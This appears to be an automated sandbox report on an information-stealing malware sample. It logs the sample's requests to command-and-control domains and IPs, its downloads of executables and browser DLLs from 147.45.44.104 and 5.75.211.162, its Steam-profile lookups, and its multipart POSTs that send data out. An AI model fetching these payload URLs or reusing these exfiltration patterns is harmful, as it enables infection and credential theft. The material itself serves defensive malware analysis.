Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fragnantbui.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: stogeneratmns.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: reinforcenh.shop
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: performenj.shop
Source: global traffic	HTTP traffic detected: GET /prog/66f424e80b9cc_idsmds.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66f4247d51812_lfdsjna.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: cowod.hopto.orgContent-Length: 3229Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162
Source: unknown	TCP traffic detected without corresponding DNS query: 5.75.211.162

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00406963 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

3_2_00406963

Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /prog/66f424e80b9cc_idsmds.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66f4247d51812_lfdsjna.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: yalubluseks.eu
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: cowod.hopto.org
Source: global traffic	DNS traffic detected: DNS query: drawzhotdog.shop
Source: global traffic	DNS traffic detected: DNS query: gutterydhowi.shop
Source: global traffic	DNS traffic detected: DNS query: ghostreedmnu.shop
Source: global traffic	DNS traffic detected: DNS query: offensivedzvju.shop
Source: global traffic	DNS traffic detected: DNS query: vozmeatillu.shop
Source: global traffic	DNS traffic detected: DNS query: fragnantbui.shop
Source: global traffic	DNS traffic detected: DNS query: stogeneratmns.shop
Source: global traffic	DNS traffic detected: DNS query: reinforcenh.shop
Source: global traffic	DNS traffic detected: DNS query: performenj.shop

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 256Connection: Keep-AliveCache-Control: no-cache

Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001095000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66f4247d51812_lfdsjna.exe
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66f4247d51812_lfdsjna.exem-data;
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe1kkkk1207369http://147.45.44.104/prog/66f4247d5181
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000001031000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exeG
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000001031000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exeI
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exerm-data;
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.EBKKFHIDAKEC
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.IDAKEC
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000001146000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001031000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orgKEC
Source: file.exe, 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hoptoHIDAKEC
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr	String found in binary or memory: http://ocsp.entrust.net02
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr	String found in binary or memory: http://ocsp.entrust.net03
Source: MFDBG.exe, 00000007.00000002.4525807658.0000000002E81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr	String found in binary or memory: http://www.entrust.net/rpa03
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3338315622.000000006C10D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000003.00000002.3206199623.00000000224DD000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
